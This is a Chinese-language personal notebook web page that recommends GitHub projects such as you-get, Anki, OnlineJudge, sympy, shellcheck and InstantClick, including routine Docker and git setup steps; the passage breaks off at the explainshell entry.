\n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Github Project Recommendation\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          Github Project Recommendation\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        Github Project Recommendation\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#you-get\" class=\"md-nav__link\">\n    you-get\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#anki\" class=\"md-nav__link\">\n    Anki\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#onlinejudge\" class=\"md-nav__link\">\n    OnlineJudge\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sympy\" class=\"md-nav__link\">\n    sympy\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#shellcheck\" class=\"md-nav__link\">\n    shellcheck\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#instantclick\" class=\"md-nav__link\">\n    InstantClick\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#explainshell\" class=\"md-nav__link\">\n    explainshell\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python-learn-notes\" class=\"md-nav__link\">\n    Python Learn Notes\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#websocketd\" class=\"md-nav__link\">\n    websocketd\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#you-get\" class=\"md-nav__link\">\n    you-get\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#anki\" class=\"md-nav__link\">\n    Anki\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#onlinejudge\" class=\"md-nav__link\">\n    OnlineJudge\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sympy\" class=\"md-nav__link\">\n    sympy\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#shellcheck\" class=\"md-nav__link\">\n    shellcheck\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#instantclick\" class=\"md-nav__link\">\n    InstantClick\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#explainshell\" class=\"md-nav__link\">\n    explainshell\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python-learn-notes\" class=\"md-nav__link\">\n    Python Learn Notes\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#websocketd\" class=\"md-nav__link\">\n    websocketd\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n  <h1>Github Project Recommendation</h1>\n\n<h2 id=\"you-get\">you-get<a class=\"headerlink\" href=\"#you-get\" title=\"Permanent link\">&para;</a></h2>\n<p>https://github.com/soimort/you-get</p>\n<p>pip安装后直接下载b站超清视频</p>\n<p>本想自己用PhantomJS写bilibili的下载的，没想到人家拿到了签名的私钥，直接免浏览器实现了666</p>\n<hr />\n<h2 id=\"anki\">Anki<a class=\"headerlink\" href=\"#anki\" title=\"Permanent link\">&para;</a></h2>\n<p>https://github.com/dae/anki</p>\n<p>Anki是一个辅助记忆软件，它可以在相对合适的时间来告诉你复习什么比较好。</p>\n<p>Learn More:</p>\n<p>https://zhuanlan.zhihu.com/p/21338255?refer=-anki</p>\n<p>https://zhuanlan.zhihu.com/-anki</p>\n<hr />\n<h2 id=\"onlinejudge\">OnlineJudge<a class=\"headerlink\" href=\"#onlinejudge\" title=\"Permanent link\">&para;</a></h2>\n<p>https://github.com/QingdaoU/OnlineJudge</p>\n<p>青岛大学的OnlineJudge，人家的毕业设计呢，界面好看，基于Docker，C和Java的沙箱设计挺完善的</p>\n<p>https://github.com/QingdaoU/OnlineJudge/wiki/%E6%AD%A3%E5%BC%8F%E9%83%A8%E7%BD%B2%E6%96%87%E6%A1%A3</p>\n<p>这是安装文档，需要安装Docker和docker-compose，注意其中python tools/release_static.py这一步是必须执行的</p>\n<p>安装后的默认版本是不支持Python作为提交语言的，需要进行如下操作：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"c1\"># 首先关掉容器</span>\n<span class=\"n\">docker</span><span class=\"o\">-</span><span class=\"n\">compose</span><span class=\"w\"> </span><span class=\"n\">stop</span>\n<span class=\"c1\"># 在master分支把那个分支merge过来</span>\n<span class=\"n\">git</span><span class=\"w\"> </span><span class=\"n\">merge</span><span class=\"w\"> </span><span class=\"n\">origin</span><span class=\"o\">/</span><span class=\"n\">python</span><span class=\"o\">-</span><span class=\"n\">support</span>\n<span class=\"n\">python</span><span class=\"w\"> </span><span class=\"n\">tools</span><span class=\"o\">/</span><span class=\"n\">release_static</span><span class=\"o\">.</span><span class=\"n\">py</span>\n<span class=\"c1\"># 然后启动容器，注意要-d否则会占据前台</span>\n<span class=\"n\">docker</span><span class=\"o\">-</span><span class=\"n\">compose</span><span class=\"w\"> </span><span class=\"n\">up</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">d</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"sympy\">sympy<a class=\"headerlink\" href=\"#sympy\" title=\"Permanent link\">&para;</a></h2>\n<p>https://github.com/sympy/sympy</p>\n<p>http://docs.sympy.org/latest/tutorial/solvers.html</p>\n<p>Python也能用来解方程！求极限！求积分！</p>\n<hr />\n<h2 id=\"shellcheck\">shellcheck<a class=\"headerlink\" href=\"#shellcheck\" title=\"Permanent link\">&para;</a></h2>\n<p>检查自己写的shell脚本有没有问题</p>\n<p>https://github.com/koalaman/shellcheck</p>\n<p>https://www.shellcheck.net/</p>\n<hr />\n<h2 id=\"instantclick\">InstantClick<a class=\"headerlink\" href=\"#instantclick\" title=\"Permanent link\">&para;</a></h2>\n<p>https://github.com/dieulot/instantclick</p>\n<p>在鼠标悬停时即刻开始加载网页，显著提高网页加载速度，非常适合静态blog类型网页使用</p>\n<hr />\n<h2 id=\"explainshell\">explainshell<a class=\"headerlink\" href=\"#explainshell\" title=\"Permanent 